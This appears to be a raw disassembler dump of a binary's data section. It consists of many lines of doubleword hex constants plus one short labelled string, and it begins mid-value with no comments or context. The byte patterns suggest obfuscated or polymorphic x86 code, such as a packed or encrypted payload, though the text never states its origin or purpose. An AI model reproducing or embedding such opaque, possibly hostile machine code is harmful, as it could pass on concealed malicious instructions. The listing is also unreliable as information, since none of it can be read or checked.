3ED3690h, 24E2BB86h, 0BF0F182Eh, 0D98B66DFh dd 6650E480h, 9858E981h, 0E8DA8B66h, 0Dh, 8E266AA7h, 92AA9399h dd 0B8E1995Ch, 0F08166F2h, 0E95F5DAEh, 6, 7C42E568h, 0B7B93EBCh dd 574AD088h, 0EE0F3ABEh, 8D0F5E2Bh, 28h, 0BE8h, 6A92C000h dd 9199ACE3h, 0F3425219h, 12E9h, 6080900h, 3C978420h, 0F2D0E058h dd 47A8F2B5h, 58C26B21h, 6086DA80h, 0B3C0DE81h, 816659BFh dd 610F2CC3h, 8EB0BA66h, 6660D18Bh, 0F70F2BAh, 487h, 47B86600h dd 890F610Eh, 0 dd 0F810Fh, 0AE90000h, 68000000h, 0E82D3F89h, 9F7580E0h dd 0EE81F882h, 34FF4B1Fh, 0FC8B70Fh, 58Ch, 0EF816600h dd 0BF0FA787h, 0F1BF0FDBh, 2772F181h, 0D58A4A78h, 8E9F7B0h dd 0B5000000h, 4EA17E19h, 0FBFBC0Bh, 840FF2B7h, 11h, 0AE953h dd 30090000h, 0A6F66527h, 75608CB0h, 8B5FB159h, 56F8F8D0h dd 6064B560h, 815A6161h, 193D7FE7h, 51DF8B6Eh, 0EE9h, 0E5A53500h dd 16544C3Dh, 318BB24Eh, 5BA4349Eh, 8B6660FCh, 0D88166C6h dd 8B612EBAh, 12E8F2h, 172F0000h, 0F091BEF0h, 699AFA68h dd 11B98074h, 0C84370Fh, 5BCB8B66h, 96A38CB9h, 0FE91Fh dd 5B80000h, 446EBC4Ch, 0A14F9B2h, 4262D6CAh, 0CA8B66E3h dd 0CA816660h, 8F0FEC1Bh, 1, 816661FCh, 0F1FFDC1h, 0BE9FEBFh dd 4B000000h, 43BB4F5Dh, 9879B14Dh, 22B5E50Eh, 5EB2BA66h dd 3DE08166h, 223CBFAAh, 606060E4h, 12E9h, 8D864100h, 803399EEh dd 0EB3EABCEh, 3F2EE1B7h, 0E9B27E38h, 14h, 0A5E26236h dd 6571A82Ch, 80BCDE50h, 1FC1E531h, 832AD321h, 8B666161h dd 31C781CAh, 6652B63Bh, 7E0FF781h, 66DDC180h, 264DC281h dd 6E9CDB1h, 7A000000h, 0B57AEAEAh, 0FF560EAh, 87h, 12E86100h dd 56000000h, 461323FCh, 616078D0h, 0CD9B637h, 4753AB89h dd 665358A2h, 0F5ACE8Bh, 0BF0FF7BFh, 12E8FEh, 99C50000h dd 55631758h, 0F3911344h, 0AC7D8247h, 8BA51BB3h, 66FC5AF5h dd 1663C281h, 5ED88166h, 9B866AFh, 9BBA6634h, 12E991h dd 69EE0000h, 7724FD40h, 3DD53B68h, 3A28817Ch, 0A89E7D14h dd 12E9h, 3C9D7E00h, 3E6C0B1Eh, 3E7C8A6h, 21A6D9C0h, 0F31F214h dd 12E8F6BFh, 0D7000000h, 7A338BE4h, 13990E44h, 61F6A694h dd 0D337F4EDh, 92BA6660h, 0BB66595Ch, 0BAF5EF99h, 11C4CA76h dd 0F98B6050h, 840Fh, 5E610000h, 0EF4267B9h, 0F1816665h dd 0BE66537Ah, 81660623h, 667079F0h, 74BDCA81h, 2870FF9h dd 0B5000000h, 0CFBF0F4Ah, 0E9F7B70Fh, 0Fh, 841BE467h dd 578A9220h, 0F18ECECDh, 0F8C0AD5Dh, 5D8FD881h, 9AB53EDBh dd 13E8h, 0C6966E00h, 6FC62B6Ch, 25B1C1BFh, 3B9050F7h dd 81ACEB7Dh, 0E95059F5h, 13h, 0AB268152h, 0E10FEB16h dd 5E8F856h, 0F38263Ch, 5F4565D4h, 800FD98Bh, 0 aFbqv3s db 'fV3',0Ah,0 dd 6CD70000h, 0DE6B3D6Ah, 910F765h, 4AE18160h, 0B5094BB7h dd 0D08B61D3h, 14E8h, 436AF200h, 92A26EB2h, 0C9784F04h dd 0B5A2A307h, 69E087A2h, 0AE860B2h, 94000000h, 0B3095600h dd 14D8A7C6h, 5E615B5Bh, 0CE950h, 5060000h, 80FF808Ah dd 444681Ah, 8058B389h, 8F0F12DFh, 3, 60D6B70Fh, 6820Fh dd 8E0F0000h, 0 dd 0BEB3B061h, 1A1B8ADh, 0E9BFE680h, 13h, 2BFE659Fh, 40DE0CB8h dd 530F0D18h, 0C145FF2Bh, 8B111BFFh, 0E9C68AF1h, 8, 0A552FAF0h dd 0C1A5Ch, 88BB8F8h, 11E973ECh, 0C9000000h, 86476763h dd 0C3B808BBh, 368A6B29h, 0D3E0D1E7h, 0BFC2B70Fh, 573BEABAh dd 0E198D9B8h, 4BD68070h, 0DCE0C881h, 880F21D7h, 27h, 13E8h dd 0ABA4B000h, 98D741ACh, 0AACCA14Ch, 0BF8502F5h, 6642F787h dd 9E9h, 0E924FF00h, 0E0EAF838h, 0E95E1DB2h, 0Dh, 6A242AFAh dd 67D72605h, 0B2C23DCBh, 0C28B6637h, 7B0A23B9h, 0C8BF0F0Ch dd 8B8DE8Bh, 0F1CEA8Dh, 183h, 8B66F800h, 0FF08BF0h, 58Fh dd 0DE816600h, 81669437h, 66830CCBh, 5D44DF81h, 0DE951h dd 0F0EA0000h, 53385A2Bh, 0D39EB622h, 597F6E99h, 0F7816653h dd 6058B108h, 0E8DFB70Fh, 9, 0F74CE53h, 4D4E0BD0h, 58DD8A8Eh dd 69DB8161h, 0E904B57Fh, 13h, 818A0CC4h, 0A859F2Eh, 0F64B81F1h dd 6129093Ch, 60A0E49Eh, 0C36BBF66h, 58F0Fh, 81660000h dd 61B819C1h, 0C18B66F8h, 3069B966h, 86E88166h, 0FE936h dd 0CBF00000h, 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 28E9819Fh dd 0E93A77F7h, 13h, 4E12DAEh, 0FDA398D4h, 0C8BCE695h, 8DD50B2Dh dd 567889BBh, 0C6816653h, 59581E90h, 2AFDA4B9h, 0BD88117h dd 0BE2C863Eh, 0DF4C031h, 0FDDE680h, 87h, 0DF8B5300h, 0FC7B259h dd 1A85h, 12E800h, 6C380000h, 0CDF67A35h, 6B691B77h, 0DF019F4Ah dd 0F6B1A017h, 0F5B6160h, 889h, 0E3816000h, 61C469B7h dd 85B86661h, 0C880F9Ch, 0E9000000h, 7, 6BDCB239h, 8AC5DF3Fh dd 0AFF181D5h, 6607C736h, 520C56BAh, 68A0Fh, 840F0000h dd 0 dd 99C28058h, 0C88BCB8Bh, 0DF8B66F9h, 4820Fh, 56500000h dd 7E9585Bh, 0B0000000h, 0B262A688h, 3BBEAA97h, 802C29F8h dd 0CE94DD3h, 17000000h, 0B63133F8h, 0EA1618E3h, 0FA83F9Eh dd 583h, 6671B800h, 8AFC0279h, 0C78B66F9h, 14E8h, 80F9C00h dd 0E54DAF5Ch, 79E34D15h, 24CE3CAh, 41FBEB6h, 830F7Ah dd 58000000h, 8800Fh, 8E0F0000h, 2, 0B0605E56h, 0C2B70FADh dd 28B0F61h, 8B000000h, 0EEBB66FEh, 9E8BAh, 0E76B0000h dd 258030CCh, 0E8771E50h, 0Dh, 5339253Bh, 45DCB42Dh, 0C1BE2080h dd 0C7816682h, 595BE42Ch, 0C98157FCh, 1F4439C6h, 2820F5Fh dd 8A000000h, 0BFEA81DCh, 660FA0D7h, 8166FA8Bh, 6625ACE9h dd 0F60FB8Bh, 8166D7B7h, 613BB7D7h, 0D185BF66h, 0B966A6B4h dd 10E8CC79h, 6E000000h, 0B2CFC069h, 0CF7F2C02h, 0E65F68FBh dd 66F8CFE6h, 0BE5FF78Bh, 40B794B7h, 5E8D68Bh, 0ED000000h dd 0F96CDCCDh, 0B85F5E51h, 54FD8104h, 28F0Fh, 14B70000h dd 61605752h, 0DABE585Ah, 0E915AB73h, 5, 99B9B82Eh, 1DF38064h dd 8166F3B0h, 0E944BBDBh, 0Bh, 1F944ADEh, 1D791C9Ah, 809B46CCh dd 8B603BF3h, 3870FF0h, 0F000000h, 8A61C7B7h, 0B9ED80D9h dd 0C4E6BA66h, 14E8h, 5A1C0D00h, 90F8AE63h, 660FDA53h dd 0BE682420h, 8E3E84D9h, 66605EE1h, 3EC7C981h, 12810Fh dd 0DE90000h, 0C3000000h, 6220369h, 0D01088FAh, 6729C7C2h dd 8B66F961h, 9E8D1h, 7B320000h, 0D5F15FFh, 59B1717Ch dd 413ABE66h, 3547BA66h, 68B0Fh, 0EB810000h, 43BC1AC3h dd 56F9B70Fh, 11E85Fh, 5C2F0000h, 903DE104h, 0EB6C86EEh dd 0FBC7F4BDh, 0E8AC6320h, 0Eh, 0A0E49E61h, 0E25E7C44h dd 0D9299189h, 8B6690CDh, 0B95959FEh, 50BEBC6Fh, 4B01D381h dd 8B662042h, 0B751B5D8h, 0D68B66E5h, 0FF6BF0Fh, 1683h dd 11E900h, 834B0000h, 0FF2A3735h, 6C12430Ah, 888A1DD7h dd 0E9BC3A00h, 12h, 0CE5304E6h, 0BD00F74h, 0B68E4D4Eh dd 60E68112h, 8E0FD2CFh, 17h, 0FE851h, 0C5520000h, 764AD0A8h dd 5D145A4Fh, 3C6A2592h, 51595EBDh, 58D18166h, 28B85AD4h dd 66007DCBh, 60FCD78Bh, 0FE9h, 1CC58E00h, 9E25CE92h, 0D9D7D840h dd 75968FF3h, 61F2BF0Fh, 0B800Fh, 6E90000h, 54000000h dd 6F5CC845h, 0BA66F5F5h, 0B70FA89Ch, 16820FD7h, 0E8000000h dd 0Ah, 43ED76B8h, 0ED13409Fh, 8F0F353Eh, 0 dd 90F08058h, 850FF88Ah, 1, 0DFCDBFF9h, 8166403Dh, 66D570E2h dd 5E9C68Bh, 59000000h, 57C9A8B4h, 0FCBACA80h, 14E9h, 5B09500h dd 5E8EA534h, 0EB3F57DCh, 0D936F466h, 9F355B8Ch, 0EBD08142h dd 8146633Fh, 0CC8596D0h, 0F98B6610h, 9329C281h, 0CEB83EB6h dd 0F617C35h, 10E8D7B7h, 0EF000000h, 5E8023BBh, 4709E2DEh dd 0A6D23F48h, 6623C2D4h, 910BEF81h, 8E959h, 41390000h dd 54C4165Ah, 0CF8A5F8Eh, 5CC58060h, 830F56h, 59000000h dd 56525261h, 0F5A5F58h, 1486h, 0CE800h, 12220000h, 55157D55h dd 2C4B2726h, 0DA8B3616h, 12E8F959h, 0D3000000h, 976D0DB6h dd 56F4466Fh, 37F50195h, 0CC73566Ah, 5870F7Ch, 0BA000000h dd 5B2B5FA3h, 8E95Fh, 0A5430000h, 162391E3h, 0E9F50053h dd 11h, 1A20FC8Dh, 52C3088h, 6B584D48h, 152925ABh, 408BB59h dd 0D18B4556h, 5E9h, 2FFBA400h, 8B0FE3C5h, 6, 8F0Fh, 8E90000h dd 13000000h, 14BD4BA6h, 0E9340C6Eh, 7, 1F1A610Dh, 0E9937A80h dd 10h, 1D8558C7h, 83AE9C60h, 0D29258AEh, 1AEFE4BBh, 0E800F60h dd 0E9000000h, 9, 635E5F90h, 80C02D2h, 0EE953h, 0C69A0000h dd 3A2AF8F8h, 3A66391Eh, 0FC5D66A2h, 13E961h, 0D0BC0000h dd 0EFD13CDEh, 0FFF5D981h, 57D6B92Fh, 3B1CFC89h, 3800F29h dd 52000000h, 81665EF5h, 8A6741E2h, 0DF8160E3h, 44C4355Ch dd 0C6BF0F53h, 0FE8615Eh, 0F1000000h, 0B6785661h, 0A7E4054h dd 20B5389Ch, 9E897DDh, 0C7000000h, 0DDD265Bh, 57FFAD02h dd 5FCEBF0Fh, 0F98B6658h, 0D9B70F60h, 0F9585160h, 0D98B6161h dd 11E9h, 809EE500h, 0C3574043h, 0FD8E82BEh, 888F8592h dd 0E980FEEFh, 8BF98A42h, 2447B9CFh, 800F2443h, 4, 4CEDBE66h dd 860FF18Bh, 8, 28F0Fh, 61600000h, 7E8h, 0E4A66200h, 0B5068728h dd 0B6C08166h, 9E85B4Ah, 0CE000000h, 58E050A7h, 70FD7444h dd 4EB8166h, 0AE9593Eh, 82000000h, 7DDCCC53h, 0C94D4B96h dd 0BBEEB882h, 810F568Bh, 0 dd 1840Fh, 0E9F50000h, 11h, 0A95BF03Ah, 0DB51B2CCh, 0CC40E09h dd 9F2E818Ah, 0F38B6685h, 0A880Fh, 8B600000h, 69F781F3h dd 616006E1h, 0E53CB966h, 5810Fh, 15BA0000h, 8051EDA5h dd 0F6BB00D7h, 0F27B71Eh, 180h, 0B7F8F900h, 0B8C081D7h dd 6638B1D2h, 205FD181h, 0E9CBB70Fh, 9, 3B6D29EDh, 894AA578h dd 0AE95249h, 0D5000000h, 41F1CA37h, 9F280C22h, 66565F1Fh dd 0F749E381h, 0D8C88158h, 0F5BFD26h, 483h, 0B2B96600h dd 0BE7812Fh, 662964D6h, 0BE8D68Bh, 97000000h, 48DB8A0Eh dd 0F1FCCCF3h, 7E9FDE3h, 81000000h, 897B9476h, 0FC5B1838h dd 73EA8166h, 0D98B664Ah, 8B66DE8Bh, 0EE8D9h, 0C8380000h dd 76B55ED9h, 0E38AA6A0h, 396A58Ch, 6E9h, 5C9D5E00h, 583EDF12h dd 0AED78151h, 596FA2C8h, 0FAE2BB66h, 8BC0B70Fh, 0C830FCFh dd 0F000000h, 686h, 840F00h, 0F000000h, 8150C1B7h, 6CDFB5E1h dd 0F605F64h, 584h, 6085B800h, 0C38B387Dh, 14E8FC61h, 0CA000000h dd 2EB20379h, 8496AC0Ah, 0D5A6953Dh, 0CF6A967Ah, 0F5ED03Ch dd 505BD7BFh, 665A04B1h, 66BBDBBFh, 813FEA81h, 0EE9h, 487DC600h dd 734BACD5h, 0B0F9D613h, 0E9F6C979h, 0Dh, 0D23AF621h dd 0D666ADD3h, 2B81D1F6h, 74BB6645h, 8E0FF91Ah, 2, 0EC80D88Bh dd 12E951D7h, 4D000000h, 0CF04124Bh, 0D4011236h, 4E8F9BC7h dd 2D105B09h, 850F59E3h, 3, 66F1BF0Fh, 6630A1B9h, 0F823E9BBh dd 8B94F080h, 71BF66C3h, 0DBDA80DDh, 13E8h, 874DF100h dd 92921D5h, 0F1E5E19Ch, 0A806C06Ah, 0F4DE181Bh, 9E8h dd 5A241A00h, 3F5CB8DBh, 0C88A6386h, 81665F5Ah, 0BEC8DEE0h dd 4406A247h, 81D38B66h, 17316CFh, 0E7E78025h, 78B8C181h dd 8E946B1h, 6E000000h, 4A517371h, 0BE815DBDh, 3E872B52h dd 0F743A5BBh, 0CF816671h, 0B70F29EAh, 0B8C8B0FBh, 66893663h dd 5BF98B51h, 66F9B70Fh, 0E9C10BBAh, 12h, 3B1A0516h, 0F35E6F3Fh dd 2E070E8Ah, 0C9C01385h, 5E96D3Fh, 4E000000h, 8D669244h dd 0DB3664BBh, 68B0F34h, 81000000h, 85FF1D0h, 128A0F36h dd 0E9000000h, 0Dh, 0E37C9C8h, 502D576Ah, 0E46CD956h, 0C517BBCEh dd 0E851254Ch, 9, 985EF2DBh, 0C06D0CFDh, 11E8A3h, 1AB10000h dd 64826CCFh, 86CADAh, 3610FE48h, 584E526Dh, 880F5959h dd 5, 9CE19B9h, 810F600Eh, 2, 56615F56h, 5A22CF80h, 60FEE881h dd 8152440Bh, 3D961FF1h, 860F5856h, 2, 0BE925B3h, 0A5000000h dd 7F3D1F8h, 0A7CDA63Dh, 8B6650A9h, 0B25851FBh, 12E8DDh dd 0E53E0000h, 60B142D8h, 987E5E20h, 9986951Dh, 0E75E3B1Bh dd 9BB4F859h, 0A860Fh, 8A0F0000h, 4, 81DAB866h, 14E9h dd 4055B700h, 821B3A29h, 2EB42709h, 213D3854h, 0C5831B81h dd 0D9B70FFFh, 0CEBF0FF8h, 13E9h, 1FBDEC00h, 9AD9BC0Dh dd 0BC830416h, 0D99C61F7h, 84A42B3Ah, 188D0Fh, 13E90000h dd 0F1000000h, 6080859Dh, 98A706D9h, 90229DFCh, 6315DBBDh dd 50F9CCD3h, 0C31B2AB8h, 14E85A12h, 0A4000000h, 5085ED38h dd 362371BEh, 0F4033B0Eh, 0E394BE7Dh, 0E8931DB6h, 12h dd 48EFA20Dh, 0E7DA3B57h, 0CA438285h, 3FCA0D95h, 0F58A2924h dd 0B70F5B58h, 1CBB66F7h, 0E8D18BBAh, 0Dh, 5E7F353Bh, 0DED69E83h dd 0D893476Ah, 0BE9B0h, 0DFE10000h, 0F7935437h, 50AA59DEh dd 0CE805A6Dh, 0D7B70FFDh, 2EC480F9h, 0C578B0BFh, 77E98157h dd 0F44636Dh, 284h, 8B5CB100h, 0B4DABAD6h, 81666E68h, 814E00E6h dd 801BFBCBh, 0D7816658h, 0F98B1F32h, 2870Fh, 5A560000h dd 4820Fh, 60510000h, 0BE665861h, 8E0FDF54h, 3, 0F22EF80h dd 58Bh, 3CBEBF00h, 0DF814D67h, 17830536h, 0EE8h, 51C15F00h dd 40D0FE08h, 723FA81Ah, 6665A00Bh, 0C35FD881h, 0E4C9815Eh dd 0F0A9978h, 98Eh, 38B0F00h, 66000000h, 8166F08Bh, 81C477EEh dd 96CFA2E3h, 0DAB70F0Ch, 0E963D280h, 0Ah, 0BB016363h dd 1585200Dh, 8F0F20EDh, 7, 1870Fh, 0FF50000h, 0B83h, 5820F00h dd 66000000h, 38C6D281h, 850F29B1h, 16h, 11E9h, 4A4E7E00h dd 0A087E264h, 0B6910CC1h, 0A0658103h, 0F60E0FFh, 6661FABFh dd 0B40DE681h, 4860Fh, 0B8660000h, 5F528815h, 0BB66F48Ah dd 0E8F8EE9Ch, 11h, 1979E077h, 0C12FF7EAh, 0BBC16901h dd 0FE63EACDh, 27CF8199h, 5B4439ECh, 14E9h, 0BCC6E600h dd 26C82F28h, 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 77BE6655h dd 0D0BF0F90h, 0EA72BA66h, 0F34D680h, 80h, 0C68B6600h dd 0E871D080h, 10h, 5CBE75E9h, 0D8643805h, 52AB022Bh, 17F20A8Ch dd 6659F9B1h, 813DF081h, 0DE9h, 0F56EEF00h, 2AA9D1EEh dd 3BFA1F1h, 8166D158h, 0FC217E7h, 66F5F3BFh, 0FFCC88Bh dd 682h, 0F4D28100h, 0E90CBC09h, 8, 0AA5F7CD3h, 7E824E26h dd 9E8h, 0FC431C00h, 9991199Eh, 0F51C90Ch, 5E58D1B7h, 0B70FF38Bh dd 3830FD9h, 0F000000h, 0F281F1BFh, 142DC290h, 0EC38F281h dd 0EE809E2h, 5E000000h, 0C1BACC5h, 9BE4E7D3h, 1876FDCAh dd 9E973h, 1DD20000h, 6F6A3657h, 591C1213h, 5BF9B152h dd 9BE53F8h, 583682B8h, 0BBDBBF0Fh, 5EFCCD9Bh, 7B3CCE81h dd 11E8562Bh, 0DF000000h, 0D4929218h, 0B8D7E19Eh, 797CD518h dd 1CCFCABDh, 2C7815Eh, 0E843B0B1h, 8, 3A30C622h, 1320CB4Ch dd 7099BE66h, 13E9F55Fh, 4F000000h, 2FD68162h, 0FEB068F6h dd 3682FC8h, 0F489DF53h, 0DB81C3B3h, 1A66AAC6h, 0EE9h dd 85225000h, 0D57F929Fh, 0F81F8289h, 0E9FD59EBh, 5, 0ABDF6576h dd 9E959h, 1B230000h, 0DA9009F5h, 56D2A22Eh, 5D179DBFh dd 810F5843h, 4, 59D8BE66h, 138A0Fh, 60600000h, 0AE961h dd 2FDE0000h, 0C21F4CAEh, 0FBFBDCCh, 66D18A61h, 0FC2F37BFh dd 0B70FC88Bh, 5830FF6h, 0B9000000h, 7E7CDA05h, 0DAB86660h dd 0F18B669Fh, 81BAB561h, 745DD6E8h, 0E9EF8A37h, 0Eh, 1E5DE860h dd 226970FAh, 783A34E4h, 0FE9858Ah, 76000000h, 41BFEF6Fh dd 505A3E0h, 0E9707A37h, 0CB8BFCFCh, 5E9h, 0CF29100h, 0B70F6B98h dd 0C98060FBh, 8DF81FAh, 612E8C38h, 1870Fh, 66F50000h dd 81A0CA81h, 48E0Fh, 0BF660000h, 0B966E9B7h, 5853E4E1h dd 8E9h, 96CCC00h, 0C74DB1F9h, 0DEBF0F3Ah, 0F6B70FF8h dd 587FB966h, 61DD8A60h, 9E9h, 0B73A9D00h, 0E8B26D96h dd 0BF66AB7Fh, 0D1802032h, 666060C8h, 1F14C181h, 0B26161F9h dd 567DB2ACh, 0AE9h, 0B3F6B800h, 8E6F2FC5h, 5A1BD380h dd 0B1BAD98Bh, 526F6F91h, 0F60535Fh, 86h, 820F00h, 61000000h dd 0FA8B6659h, 8BD0B70Fh, 6E9D3h, 6F770000h, 0B8CCEFA6h dd 0CE9h, 97356300h, 0ABFF9107h, 6DE5AB9h, 11E9AEh, 0EDF00000h dd 92B5920Dh, 9725910Dh, 6A2ED2F7h, 8B8B5E77h, 9ED80C8h dd 5AD38A50h, 11E9F5h, 0FC070000h, 0FFDB6FE2h, 69DADDB5h dd 9ACFB8B4h, 0F80286ACh, 439E01B8h, 0A9BA6608h, 0D8B70FEBh dd 75BF6657h, 0E8605A49h, 0Ah, 0E39300F7h dd 7081F4E7h, 0DC8ADCB6h, 7E959h, 0DC2A0000h, 3119FEE3h dd 0BA6661BCh, 8D0FA830h, 3, 0E959F856h, 6, 0D39C13C1h dd 14E89EF7h, 96000000h, 0DF4726F5h, 0D107B5Dh, 3CDD0F97h dd 904D70DEh, 0F4D371Eh, 0E84h, 9E900h, 0A0D50000h, 640012CFh dd 5F5DB220h, 0E872EF80h, 6, 0A9DF33DEh, 860FEAB8h, 6 dd 880Fh, 66590000h, 8166D68Bh, 0F9D39D3h, 28Bh, 57EC8A00h dd 0FE9h, 6A5B5B00h, 3F11C92h, 701F8A6Ah, 13823504h, 0BB665758h dd 0F85FDCB2h, 9FF28166h, 0B5F1B029h, 0CE8B6663h, 830Fh dd 0FA8B0000h, 0E960EDB2h, 0Ah, 9A0D650Ch, 0A6111E62h dd 860FC869h, 2, 0BA616160h, 11137D4Bh, 7C655BBBh, 0E9F38A39h dd 0Eh, 3E140D67h, 0E182B9Eh, 0F16E765h, 0EC80C162h, 0F576067h dd 87h, 8B665A00h, 0B70F61DFh, 0AE9D8h, 928B0000h, 0A169A1B3h dd 0FCDB5EC7h, 0CFB70FF9h, 38D0F60h, 66000000h, 0D98BD68Bh dd 0AE961h, 54AA0000h, 4EDAB044h, 45873DAEh, 0BD38166h dd 2CDB8199h, 0E8352792h, 0Fh, 7396952Dh, 0BE57558Ch, 55CF79CEh dd 0F5B5588h, 383h, 0FA8B6600h, 0D5D5BF5Ah, 840F6651h dd 0 dd 0FA8B6660h, 61F6BF0Fh, 304E24BAh, 5AF95078h, 0D0D18166h dd 8F0F53A6h, 0Ch, 7E9h, 0F9D11E00h, 0A3E6C2A9h, 0D281665Fh dd 0D6812972h, 4DCA06FDh, 14E9h, 0F3B09300h, 4D50CAB4h dd 0C6594270h, 0ACD5487Dh, 0D613734Bh, 5E50F8F9h, 1DBDBB66h dd 850Fh, 0E9570000h, 12h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h dd 0A5A8203Ah, 6058B5FAh, 0BE8FCh, 0E49C0000h, 99A394FEh dd 21AC0BDEh, 5F616062h, 0AE961h, 56A90000h, 0F34A67F0h dd 3CD26DB6h, 5E8h, 77253100h, 0E960D003h, 6, 7D888DD0h dd 0DE8646Ah, 63000000h, 1CCE2B34h, 0E459D06Dh, 0A16BFEA5h dd 0F5A6159h, 580h, 0BEE1B900h, 66605092h, 0E961C88Bh dd 9, 97E74C96h, 0C8CA3C89h, 1F2817Bh, 0F7CB7D4h, 8B66CBB7h dd 8E9F3h, 473F0000h, 0A9C5DD6Eh, 8B66F706h, 816657F2h dd 5E07F8CEh, 0E9A7DB80h, 0Ch, 88BB0665h, 5F7E8F4Bh, 0BF98C03Ch dd 168780B8h, 0D0D5805Dh, 7E9h, 1C211E00h, 1370E46Eh, 0CC1076BBh dd 11E869h, 0C20C0000h, 759392ABh, 81C1AFA0h, 0CED18DBBh dd 60E78FAAh, 0E21C8BB9h, 8E0F3Dh, 61000000h, 0C381575Bh dd 786D8A9Ah, 2860F58h, 8A000000h, 0E5BE60D9h, 614ECA30h dd 5E8h, 7EB47700h, 12E9C016h, 0F2000000h, 8C3BD170h, 1A27FFBDh dd 12863CE5h, 2B5DCF71h, 0B9665811h, 4BB9644Dh, 662CD1E2h dd 0E989ECB8h, 7, 0D07B1D8Eh, 81515947h, 1F6215E6h, 11E38044h dd 8F0FE7B4h, 20h, 14E8h, 62CA9E00h, 150069AEh, 0C96785FAh dd 92FC9744h, 7BBD70EEh, 800FB0h, 5F000000h, 5E9h, 78F1C300h dd 0F281360Bh, 4DAF6C51h, 0FE8h, 0E8080B00h, 7DAE8E35h dd 5FAB9520h, 0D2B7C6C3h, 6E85Fh, 0D7F30000h, 0E1BA11CAh dd 5A0FE980h, 0FFBF0F56h, 4DBB665Ah, 88B0FA5h, 0F000000h dd 281h, 805B5000h, 0BF0FC2C0h, 0FB8B66F7h, 0FF8F18Bh dd 687h, 8CC68100h, 0E91C961Bh, 0Fh, 517DF90Dh, 0EA9DB42Ch dd 6F669453h, 0F3DB5DFh, 1A8Ah, 10E800h, 0EA380000h, 0F58E0AA0h dd 0AAA7380Eh, 6E89A91Eh, 0BB66976Fh, 0BE5833A7h, 3B0D322Bh dd 0FC698FBFh, 0C389BB79h, 860F108Ah, 0Ch, 6830Fh, 8A0F0000h dd 0 dd 0A870F50h, 0E9000000h, 5, 8E4D4E0Bh, 0DA8A59B6h, 0EC3EBA66h dd 0E750B866h, 0C8C0Fh, 830F0000h, 6, 840Fh, 53F80000h dd 68C1815Eh, 0F51FBF3Ah, 0BFA0E981h, 0FA8A33C9h, 0B40BE66h dd 0A1ED8060h, 14E961h, 81E00000h, 0B22E2AA4h, 0EB8B9C2Bh dd 0DE2D2DA2h, 24A943F7h, 52601063h, 870Fh, 0E9590000h dd 10h, 0E03C7FE3h, 54653D94h, 2BFF1109h, 0FBEB02EBh, 0CE816661h dd 81664370h, 0F860DC8h, 188Bh, 10E96000h, 67000000h, 1FD771Fh dd 13672F8Dh, 766D12AAh, 0FCA46D08h, 0DE961h, 30FE0000h dd 3677B202h, 9D7F8ACAh, 0F513C433h, 14870Fh, 0FE90000h dd 99000000h, 16F506C7h, 11A4E64Dh, 4F9EBACCh, 0C980AAF2h dd 19B86666h, 1AB96688h, 3890F2Fh, 66000000h, 8BF8D98Bh dd 10E9FAh, 0A4950000h, 24854FEh, 0BD85B8DAh, 0C4F07D7Eh dd 0E68AA67Eh, 3BC5F381h, 0CA816B1Bh, 704EDBC5h, 61B866FCh dd 0CA8B6622h, 8A4BD180h, 0EBDB81ECh, 663989C8h, 0BB4153BFh dd 2859E8F4h, 8E9h, 2871F500h, 8076D58Ah, 48E0F2Bh, 66000000h dd 6653B5BBh, 0BA75F3BAh, 47D9B85Eh, 0D870Fh, 8E90000h dd 47000000h, 7E778AB2h, 57C79277h, 59C7BF0Fh, 0BE66CC8Ah dd 0D98B7DAAh, 0F3BF0F51h, 0D98B665Bh, 58A0Fh, 80510000h dd 665AE3EAh, 594AD781h, 53CF8B66h, 7F38166h, 0BF665AB2h dd 0D98028EEh, 12E860EFh, 0B9000000h, 2E624A14h, 0D4915A3Ah dd 557335D7h, 3806D094h, 59F98B6Fh, 38F0Fh, 8B660000h dd 816661C1h, 0B002AFD1h, 0F08B6639h, 108A0Fh, 8E80000h dd 0B6000000h, 9AEF649Dh, 8A34AB4Ch, 0F9535ACAh, 0CBB70F5Fh dd 10E8h, 2F31EA00h, 0F39DBFDBh, 8C7609F3h, 2F6C0AEEh dd 0F5FF9ACh, 0CB8BDEBFh, 0F5C2BF0Fh, 0D6816660h, 14E9B13Bh dd 85000000h, 0E4ECA7CAh, 0F6B0D04Eh, 68EC6B3Bh, 5E9FE156h dd 61573523h, 79D6BE66h, 0CE8h, 7F9AE800h, 559D016Dh, 0D4BA621Eh dd 585B5126h, 2860Fh, 0E78A0000h, 10E9h, 0E412EB00h, 0B40A86E4h dd 0ACD66C83h, 0D1A18BC2h, 7E91Ah, 0F4BA0000h, 267E44EAh dd 46DD80DAh, 0BA61B460h, 7DFE86D0h, 4830F61h, 66000000h dd 0F96C84BBh, 38B0Fh, 8B660000h, 7E9F2h, 1A820000h, 6179D872h dd 0C28B664Eh, 60FCD88Bh, 0E224BA66h, 0B800Fh, 5E80000h dd 4F000000h, 7CEDB924h, 87B6615Bh, 0C80DD6B9h, 0CABB60h dd 0F9605356h, 66BE6651h, 0F8615FB3h, 0E407B866h, 88B0Fh dd 800F0000h, 2, 0F58A5A50h, 8E9h, 0BE431600h, 0E82EC002h dd 0FE9EBh, 6F800000h, 3A48DCC9h, 18F4A034h, 0DF948A91h dd 9E940h, 5D4C0000h, 0DE46E9DAh, 0FF72CDAh, 14E9C9BFh dd 1000000h, 151F153Fh, 80CF7E7Fh, 0D952064Ah, 0D59723A0h dd 6659FAF1h, 20B9FB8Bh, 0E9240759h, 11h, 0B60ECBC2h, 0FC63F092h dd 23205BEh, 38684EACh, 9ABEF971h, 0F66D507h, 383h, 0D8B70F00h dd 57CE8B66h, 77F78166h, 0FE95B39h, 0A000000h, 63DD9440h dd 8AE67B9Bh, 0B99C4123h, 0B7FC2535h, 0E98166B0h, 850F8403h dd 5, 0D38B6652h, 0DEB70F5Eh, 0B9CABF0Fh, 5023950h, 8166D78Bh dd 0F41FBF0h, 884h, 2860F00h, 0B6000000h, 4213BE44h, 0BF6638B1h dd 12E96E8Ah, 84000000h, 2D967712h, 9DC549D9h, 0B5632F1h dd 6346E4A4h, 0DE87Ah, 7E5D0000h, 0D1FE6B1Dh, 0A46F25D9h dd 0E976DB08h, 5, 0EBB2EEC4h, 0E850584Bh, 9, 0A5340DFh dd 6D22E85Fh, 5A5A5286h, 0A8BB665Eh, 12E9E8h, 4EE70000h dd 3C17CB31h, 6CFB93D8h, 4D49D10Eh, 343BD9CFh, 1F71E7BAh dd 0D6B70F3Ch, 2F8FF381h, 66FC2536h, 0E107D381h, 5AA402BFh dd 3810F64h, 